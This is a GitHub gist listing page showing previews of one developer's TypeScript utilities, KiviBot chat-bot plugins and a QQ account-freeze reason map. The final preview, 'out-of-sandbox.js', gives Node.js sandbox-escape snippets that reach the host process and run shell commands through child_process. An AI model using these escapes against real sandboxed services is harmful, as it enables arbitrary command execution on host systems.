Skip to content

Instantly share code, notes, and snippets.

View vikiboss's full-sized avatar
🐈
loading...

Viki vikiboss

🐈
loading...
View GitHub Profile
@vikiboss
vikiboss / aq-center-reasons.json
Created September 12, 2024 00:23
QQ 安全中心冻结原因
{
"LOCKTOWER_REASON_SMART_63": {
"reason": 63,
"type": 1,
"reasonDesc": "",
"title": "该QQ帐号存在安全风险,已被安全保护。",
"description": "根据系统检测,该QQ帐号存在安全风险,已被安全保护。",
"eDescription": "根据系统检测,该QQ帐号存在安全风险,已被安全保护。",
"button": "申请立即解冻",
"link": ""
@vikiboss
vikiboss / 【AI 画图】sd-1.0.0.ts
Last active September 24, 2024 01:55
Plugins for KiviBot v1
import { definePlugin, http } from 'kivibot'
export default definePlugin({
name: 'sd',
version: '1.0.0',
setup(ctx) {
ctx.handle('message', async (e) => {
if (e.raw_message.startsWith('#sd ')) {
const hasRight = ctx.isOwner(e) || ctx.isAdmin(e)
@vikiboss
vikiboss / destruct-it.ts
Created April 20, 2023 08:10
destructuring-with-object-or-array
// @from antfu https://antfu.me/posts/destructuring-with-object-or-array
export function destructIt<T extends Record<string, unknown>, A extends readonly any[]>(
obj: T,
arr: A
): T & A {
const clone = { ...obj }
Object.defineProperty(clone, Symbol.iterator, {
enumerable: false,
@vikiboss
vikiboss / kivibot-cli.ts
Last active April 6, 2023 08:30
KiviBot
import sade from 'sade'
const kivi = sade('kivi')
kivi
.version('1.0.0')
.describe('cli for kivibot')
.option('-c, --config', 'Provide path to custom kivibot config', 'kivi.json')
kivi
@vikiboss
vikiboss / deepClone.ts
Created April 4, 2023 12:10
Deep Clone for TS
function isObject(obj: unknown): obj is Record<string, unknown> {
return typeof obj === 'object' && obj !== null
}
export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T {
if (obj === null || typeof obj !== 'object') {
return obj
}
if (cache.has(obj)) {
@vikiboss
vikiboss / reactive.ts
Created April 4, 2023 11:24
响应式状态 Demo
import rfdc from 'rfdc'
type Listener<T> = (snapshot: T) => void
interface State<T extends object> {
proxy: T
target: T
listeners: Set<Listener<T>>
}
@vikiboss
vikiboss / mini-signal.ts
Created March 23, 2023 02:46
mini signal implement
let currentListener: Function | undefined = undefined
function createSignal<T>(initialValue: T) {
let value = initialValue
const subscribers = new Set<Function>()
const read = () => {
if (currentListener !== undefined) {
subscribers.add(currentListener)
@vikiboss
vikiboss / rearct-native-app-in-wsl2.md
Created February 27, 2023 07:01 — forked from bergmannjg/rearct-native-app-in-wsl2.md
Building a react native app in WSL2
@vikiboss
vikiboss / Get Genshin Impact wish history link.md
Last active May 2, 2023 02:39 — forked from MadeBaruna/README.md
Get Genshin Impact wish history link
@vikiboss
vikiboss / out-of-sandbox.js
Last active July 24, 2024 02:39
沙盒逃逸常见例子
// setTimeout.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls').toString();
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls').toString();
var exec = this.constructor.constructor;
var process = exec('return process')();
var require = process.mainModule.constructor._load;
var execSysCmd = require('child_process').execSync;
// process.exit();